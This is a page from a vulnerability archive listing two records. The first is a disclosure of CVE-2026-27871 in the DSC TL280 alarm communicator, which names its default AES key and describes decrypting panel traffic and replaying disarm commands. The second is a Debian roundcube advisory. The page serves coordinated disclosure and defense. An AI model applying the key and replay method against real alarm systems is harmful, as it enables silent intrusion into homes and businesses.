CVE-ID: CVE-2026-27871 Vendor of Product: Johnson Controls (formerly Tyco / DSC) Affected Product Code Base: TL280, 5.62.04.003 (latest) Affected Component: Communication with the Integration server Suggested description: The DSC Neo alarm system can interface with “integration servers” to notify about alarm events. These “integration servers” can also send arm/disarm events to the alarm system. The “Type 2” (ITv2) communication between the TL280 and “integration servers” uses AES in ECB mode. ECB mode is a weak, broken cryptography mode. It does not provide forward secrecy; there is no mutual authentication, and a single shared key is used to secure the communication. Only weak integrity protection (CRC) is provided in the protocol. Additional Information: During the initial setup, the fixed key 12345678123456781234567812345678 is used for the communication. Attack Type: Network CVSS 3.1 Base Score: 9.0 Critical Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H Contributing Weakness: AES-ECB Mode (CWE-327) - this advisory Contributing Weakness: Default Cryptographic Key (CWE-1394) - 12345678123456781234567812345678 Combined Impact: An attacker who can observe the initial TL280 handshake (which uses a default key) can decrypt the negotiated AES session key. All subsequent panel<->cloud communications are then readable, including user disarm codes and installer access codes. The use of AES-ECB mode with no proper replay protection allows the attacker to replay previously captured disarm commands, silently changing the alarm state from armed to disarmed. The panel logs a sequence mismatch error but executes the command. Affected data includes: - User arm/disarm PIN codes - Installer programming codes - Motion sensor activation events (enabling occupancy profiling) - System configuration and zone status Physical security impact: Complete silent defeat of intrusion detection for homes and businesses protected by this system. Has the vendor confirmed or acknowledged the vulnerability? Yes. Reported via VulnCheck (CNA coordinator) on 2026-02-16. The Johnson Controls PSIRT confirmed receipt on 2026-02-27, assigned CVE-2026-27871 on 2026-03-24 with the title "DSC TL280 Internal Security Alarm - Use of Broken or Risky Cryptographic Algorithm", reproduced the issue, and committed to a patch by 2026-08-01. Vendor contact point: https://www.johnsoncontrols.com/trust-center/cybersecurity/resources#Contact... Vulnerability Type: Other CWE-327: Use of a Broken or Risky Cryptographic Algorithm Discoverer: z Reference: https://github.com/D-S-C-O-M-G-N-E-O/D-S-C-O-M-G-N-E-O/CVE-2026-27871.mdhttp... Disclosure timeline: Coordinated through VulnCheck (disclosure@vulncheck.com), with Johnson Controls PSIRT as the supplier CNA. Reporter credited as "z". - 2026-02-16 — Vulnerability reported to VulnCheck. - 2026-02-18 — VulnCheck confirms receipt; engages Johnson Controls (supplier CNA) for determination and CVE assignment. 120-day disclosure deadline set to 2026-06-18. Reporter shares the Wireshark dissector (decrypts panel↔cloud traffic given the static key and a captured session start) and notes the documented default setup key 12345678123456781234567812345678 plus a suspected key-exchange that would expose all future session keys. - 2026-02-19 — Reporter sends supporting references (OWASP WSTG, NIST SP 800-131A, Schneier) on why ECB is disallowed. - 2026-02-27 — Johnson Controls confirms receipt of the report. - 2026-03-24 — Johnson Controls PSIRT assigns CVE-2026-27871, title "DSC TL280 Internal Security Alarm - Use of Broken or Risky Cryptographic Algorithm"; CISA coordination draft in progress. - 2026-03-25 — Reporter shares PoC: (1) screenshot (tl280_AES_ECB.png) of the dissector decrypting initial TL280→cloud setup traffic, highlighting the server's 0x0632 (Change_Static_Keys) command — passive capture of the first session allows decryption of all future traffic, including user/installer codes; (2) screen recording demonstrating that a replayed disarm packet disarms the panel even without knowing any keys/codes, and despite the panel returning a sequence-number error. - 2026-04-23 — VulnCheck follows up with Johnson Controls (no update). - 2026-05-06 — Johnson Controls reports it is reproducing the issue; final fix tracking to ~September/October 2026; requests deadline extension. - 2026-05-14 — Johnson Controls provisionally allocates CVE-2026-27871 in its Trust Center case platform and proposes a 2026-08-31 deadline. - 2026-05-21 — Reporter agrees to an extension only to 2026-08-01. - 2026-06-02 — Johnson Controls PSIRT agrees to the 2026-08-01 deadline; states a patch is expected by 2026-08-01. - 2026-06-06 — Reporter acknowledges. - 2026-08-01 - This advisory published, no information on any patches from the vendor. - 2026-08-03 - 5.63 is allegedly published to fix these, could not download it, could not test it. Johnson Controls is silent, no communication from their side even though August 1 was an agreed date for disclosure. Bad CNA. PS: you might find some other goodies in the repo
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
unknown Johnson Controls Affected: unknown
Create a notification for this product.
Credits
z
Relationships
analysis GCVE-1988-2026-0528 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Johnson Controls",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "z"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CVE-ID:\nCVE-2026-27871\nVendor of Product:\nJohnson Controls (formerly Tyco / DSC)\nAffected Product Code Base:\nTL280, 5.62.04.003 (latest)\nAffected Component:\nCommunication with the Integration server\nSuggested description:\nThe DSC Neo alarm system can interface with \u201cintegration servers\u201d to notify about alarm events. These \u201cintegration servers\u201d can also send arm/disarm events to the alarm system. The \u201cType 2\u201d (ITv2) communication between the TL280 and \u201cintegration servers\u201d uses AES in ECB mode.  ECB mode is a weak, broken cryptography mode. It does not provide forward secrecy; there is no mutual authentication, and a single shared key is used to secure the communication. Only weak integrity protection (CRC) is provided in the protocol.\nAdditional Information:\nDuring the initial setup, the fixed key 12345678123456781234567812345678 is used for the communication.\nAttack Type:\nNetwork\nCVSS 3.1 Base Score: 9.0 Critical\nVector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H\nContributing Weakness: AES-ECB Mode (CWE-327) - this advisory\nContributing Weakness: Default Cryptographic Key (CWE-1394) - 12345678123456781234567812345678\nCombined Impact: An attacker who can observe the initial TL280\nhandshake (which uses a default key) can decrypt the negotiated\nAES session key. All subsequent panel\u003c-\u003ecloud communications are\nthen readable, including user disarm codes and installer access\ncodes. The use of AES-ECB mode with no proper replay protection allows\nthe attacker to replay previously captured disarm commands,\nsilently changing the alarm state from armed to disarmed. The\npanel logs a sequence mismatch error but executes the command.\nAffected data includes:\n- User arm/disarm PIN codes\n- Installer programming codes\n- Motion sensor activation events (enabling occupancy profiling)\n- System configuration and zone status\nPhysical security impact: Complete silent defeat of intrusion\ndetection for homes and businesses protected by this system.\nHas the vendor confirmed or acknowledged the vulnerability?\nYes. Reported via VulnCheck (CNA coordinator) on 2026-02-16. The Johnson Controls PSIRT confirmed receipt on 2026-02-27, assigned CVE-2026-27871 on 2026-03-24 with the title \"DSC TL280 Internal Security Alarm - Use of Broken or Risky Cryptographic Algorithm\", reproduced the issue, and committed to a patch by 2026-08-01.\nVendor contact point: https://www.johnsoncontrols.com/trust-center/cybersecurity/resources#Contact...\nVulnerability Type:\nOther\nCWE-327: Use of a Broken or Risky Cryptographic Algorithm\nDiscoverer:\nz\nReference:\nhttps://github.com/D-S-C-O-M-G-N-E-O/D-S-C-O-M-G-N-E-O/CVE-2026-27871.mdhttp...\nDisclosure timeline:\nCoordinated through VulnCheck (disclosure@vulncheck.com), with Johnson Controls PSIRT as the supplier CNA. Reporter credited as \"z\".\n- 2026-02-16 \u2014 Vulnerability reported to VulnCheck.\n- 2026-02-18 \u2014 VulnCheck confirms receipt; engages Johnson Controls (supplier CNA) for determination and CVE assignment. 120-day disclosure deadline set to 2026-06-18. Reporter shares the Wireshark dissector (decrypts panel\u2194cloud traffic given the static key and a captured session start) and notes the documented default setup key 12345678123456781234567812345678 plus a suspected key-exchange that would expose all future session keys.\n- 2026-02-19 \u2014 Reporter sends supporting references (OWASP WSTG, NIST SP 800-131A, Schneier) on why ECB is disallowed.\n- 2026-02-27 \u2014 Johnson Controls confirms receipt of the report.\n- 2026-03-24 \u2014 Johnson Controls PSIRT assigns CVE-2026-27871, title \"DSC TL280 Internal Security Alarm - Use of Broken or Risky Cryptographic Algorithm\"; CISA coordination draft in progress.\n- 2026-03-25 \u2014 Reporter shares PoC: (1) screenshot (tl280_AES_ECB.png) of the dissector decrypting initial TL280\u2192cloud setup traffic, highlighting the server\u0027s 0x0632 (Change_Static_Keys) command \u2014 passive capture of the first session allows decryption of all future traffic, including user/installer codes; (2) screen recording demonstrating that a replayed disarm packet disarms the panel even without knowing any keys/codes, and despite the panel returning a sequence-number error.\n- 2026-04-23 \u2014 VulnCheck follows up with Johnson Controls (no update).\n- 2026-05-06 \u2014 Johnson Controls reports it is reproducing the issue; final fix tracking to ~September/October 2026; requests deadline extension.\n- 2026-05-14 \u2014 Johnson Controls provisionally allocates CVE-2026-27871 in its Trust Center case platform and proposes a 2026-08-31 deadline.\n- 2026-05-21 \u2014 Reporter agrees to an extension only to 2026-08-01.\n- 2026-06-02 \u2014 Johnson Controls PSIRT agrees to the 2026-08-01 deadline; states a patch is expected by 2026-08-01.\n- 2026-06-06 \u2014 Reporter acknowledges.\n- 2026-08-01 - This advisory published, no information on any patches from the vendor.\n- 2026-08-03 - 5.63 is allegedly published to fix these, could not download it, could not test it. Johnson Controls is silent, no communication from their side even though August 1 was an agreed date for disclosure. Bad CNA.\nPS: you might find some other goodies in the repo"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1394",
              "description": "CWE-1394",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-327",
              "description": "CWE-327",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T09:47:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/item/8956114097a68fb12b88e89a439aa37c04dfccc16feb40d9e456fc161e360705"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/3AA4HBZRWRD3D237X7FFSUM4LUCWPMOM/"
        },
        {
          "url": "https://github.com/D-S-C-O-M-G-N-E-O/D-S-C-O-M-G-N-E-O/CVE-2026-27871.mdhttp://dsc.com"
        },
        {
          "url": "https://www.johnsoncontrols.com/trust-center/cybersecurity/resources#ContactUs"
        }
      ],
      "source": {
        "defect": [
          "OzGxtx_--F-9%40tutanota.com"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[Bugtraq] Johnson Controls - DSC TL280 - home alarm system - Use of a Broken or Risky Cryptographic Algorithm",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-27871",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0528",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/item/8956114097a68fb12b88e89a439aa37c04dfccc16feb40d9e456fc161e360705",
            "automated": true,
            "contentSha256": "8956114097a68fb12b88e89a439aa37c04dfccc16feb40d9e456fc161e360705",
            "evidenceScore": 11,
            "messageId": "OzGxtx_--F-9%40tutanota.com",
            "originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/3AA4HBZRWRD3D237X7FFSUM4LUCWPMOM/",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-02T09:47:22Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0528"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T09:47:22Z",
    "dateUpdated": "2026-11-02T09:47:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0528"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0527

Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
Title
[Bugtraq] [SECURITY] [DSA 6479-1] roundcube security update
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 - ------------------------------------------------------------------------- Debian Security Advisory DSA-6479-1 security@debian.org https://www.debian.org/security/ Salvatore Bonaccorso August 30, 2026 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : roundcube CVE ID : CVE-2026-74997 CVE-2026-74998 CVE-2026-74999 CVE-2026-75000 CVE-2026-75002 CVE-2026-75003 CVE-2026-75004 CVE-2026-75006 CVE-2026-75007 CVE-2026-75010 Debian Bug : 1144059 Multiple vulnerabilities were discovered in roundcube, a skinnable AJAX based webmail solution for IMAP servers, which could result in cross-site scripting, SSRF bypass, information disclosure, privilege escalation, denial of service or remote code execution. For the stable distribution (trixie), these problems have been fixed in version 1.6.18+dfsg-0+deb13u1. We recommend that you upgrade your roundcube packages. For the detailed security status of roundcube please refer to its security tracker page at: https://security-tracker.debian.org/tracker/roundcube Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/ Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmqUgRhfFIAAAAAALgAo aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2 NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND z0QlIA/+I6kzvzeCB08BomMJgV9cUWVsaMAeY7U4o3lH9x14NO6v+0iIARStIi+Q 3cyFq5O7MHCfe05zR+sW34b7m5ZqLIw9hUnSrMeaKoRuO1gJ/nWyInsujz8MvzP6 kv8nDXh2VycTfdlnVy+y+HW7LN7jXFuIth272ZJpQStTikZB7/1b+jhlpa3WXqF6 FzVJrt5IXC8DiJ+WRSY1NbAHzn8/pj4KC4jwODFa5+iffBV8PxBdI+oomFLjGKtM DV6RyBAk6VaNBoJl/87IlUw2Hc4BXi7FlQBvn3+6mZ5LUsWGc26/GBqvvcLFN3Au 7yVOJLrS/h3LRQOFQ3QfRnRA9im5TGXGYSu5xpCnYnuB50E7ZrBt3ZAXsoYNp2bX J/i5YBHvdpeh4VmaVJ1Va9l+45siqbYM/fzQCYZ7gK7JTfTvh1rXstQSZgt8Z+X6 I3zaoLtzuop7LjkfgfN3eVTbznoYQrhAX00RcELUIDuJs1pYF9ddy+ul/GiomzIq 07Hv48XUDQcukVe2ZRwg2YJrhCbsZxK/XEkk6TP5r3GyzKemcMu6+W0bRmOpQ8zv nIlCn3OkX23+vTtJ3Y/EviWoQXHd2Dd55UKFq8m2cf6gsdbF4/x3yUccBCZ7juc1 V1nQkof2ImLmkJ3h7BVr68wg58jR3TG00s9K2uQaLI58YYGhd2w= =BIuq -----END PGP SIGNATURE-----
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Relationships
reference GCVE-1988-2026-0527 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "security update",
          "vendor": "Roundcube",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Salvatore Bonaccorso"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n- -------------------------------------------------------------------------\nDebian Security Advisory DSA-6479-1                   security@debian.org\nhttps://www.debian.org/security/                     Salvatore Bonaccorso\nAugust 30, 2026                       https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\nPackage        : roundcube\nCVE ID         : CVE-2026-74997 CVE-2026-74998 CVE-2026-74999 CVE-2026-75000\nCVE-2026-75002 CVE-2026-75003 CVE-2026-75004 CVE-2026-75006\nCVE-2026-75007 CVE-2026-75010\nDebian Bug     : 1144059\nMultiple vulnerabilities were discovered in roundcube, a skinnable AJAX\nbased webmail solution for IMAP servers, which could result in\ncross-site scripting, SSRF bypass, information disclosure, privilege\nescalation, denial of service or remote code execution.\nFor the stable distribution (trixie), these problems have been fixed in\nversion 1.6.18+dfsg-0+deb13u1.\nWe recommend that you upgrade your roundcube packages.\nFor the detailed security status of roundcube please refer to its\nsecurity tracker page at:\nhttps://security-tracker.debian.org/tracker/roundcube\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\niQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmqUgRhfFIAAAAAALgAo\naXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2\nNDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND\nz0QlIA/+I6kzvzeCB08BomMJgV9cUWVsaMAeY7U4o3lH9x14NO6v+0iIARStIi+Q\n3cyFq5O7MHCfe05zR+sW34b7m5ZqLIw9hUnSrMeaKoRuO1gJ/nWyInsujz8MvzP6\nkv8nDXh2VycTfdlnVy+y+HW7LN7jXFuIth272ZJpQStTikZB7/1b+jhlpa3WXqF6\nFzVJrt5IXC8DiJ+WRSY1NbAHzn8/pj4KC4jwODFa5+iffBV8PxBdI+oomFLjGKtM\nDV6RyBAk6VaNBoJl/87IlUw2Hc4BXi7FlQBvn3+6mZ5LUsWGc26/GBqvvcLFN3Au\n7yVOJLrS/h3LRQOFQ3QfRnRA9im5TGXGYSu5xpCnYnuB50E7ZrBt3ZAXsoYNp2bX\nJ/i5YBHvdpeh4VmaVJ1Va9l+45siqbYM/fzQCYZ7gK7JTfTvh1rXstQSZgt8Z+X6\nI3zaoLtzuop7LjkfgfN3eVTbznoYQrhAX00RcELUIDuJs1pYF9ddy+ul/GiomzIq\n07Hv48XUDQcukVe2ZRwg2YJrhCbsZxK/XEkk6TP5r3GyzKemcMu6+W0bRmOpQ8zv\nnIlCn3OkX23+vTtJ3Y/EviWoQXHd2Dd55UKFq8m2cf6gsdbF4/x3yUccBCZ7juc1\nV1nQkof2ImLmkJ3h7BVr68wg58jR3TG00s9K2uQaLI58YYGhd2w=\n=BIuq\n-----END PGP SIGNATURE-----"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T09:47:22Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/item/14e7f318f2b4c579447aba068aacf0510b4b8e177cf9bba9418f5071995b4b37"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/HNJEKF6WPXZFZTGVNHRUL6T5PFG3BWXD/"
        },
        {
          "url": "https://security-tracker.debian.org/tracker/roundcube"
        },
        {
          "url": "https://www.debian.org/security/"
        },
        {
          "url": "https://www.debian.org/security/faq"
        }
      ],
      "source": {
        "defect": [
          "E1x0kzy-0000000BgZV-06Q7%40seger.debian.org"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[Bugtraq] [SECURITY] [DSA 6479-1] roundcube security update",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-74997",
              "type": "related"
            },
            {
              "destId": "CVE-2026-74998",
              "type": "related"
            },
            {
              "destId": "CVE-2026-74999",
              "type": "related"
            },
            {
              "destId": "CVE-2026-75000",
              "type": "related"
            },
            {
              "destId": "CVE-2026-75002",
              "type": "related"
            },
            {
              "destId": "CVE-2026-75003",
              "type": "related"
            },
            {
              "destId": "CVE-2026-75004",
              "type": "related"
            },
            {
              "destId": "CVE-2026-75006",
              "type": "related"
            },
            {
              "destId": "CVE-2026-75007",
              "type": "related"
            },
            {
              "destId": "CVE-2026-75010",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0527",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/item/14e7f318f2b4c579447aba068aacf0510b4b8e177cf9bba9418f5071995b4b37",
            "automated": true,
            "contentSha256": "14e7f318f2b4c579447aba068aacf0510b4b8e177cf9bba9418f5071995b4b37",
            "evidenceScore": 7,
            "messageId": "E1x0kzy-0000000BgZV-06Q7%40seger.debian.org",
            "originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/HNJEKF6WPXZFZTGVNHRUL6T5PFG3BWXD/",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-02T09:47:22Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0527"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T09:47:22Z",
    "dateUpdated": "2026-11-02T09:47:22Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0527"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}
displaying 41 - 50 publications in total 581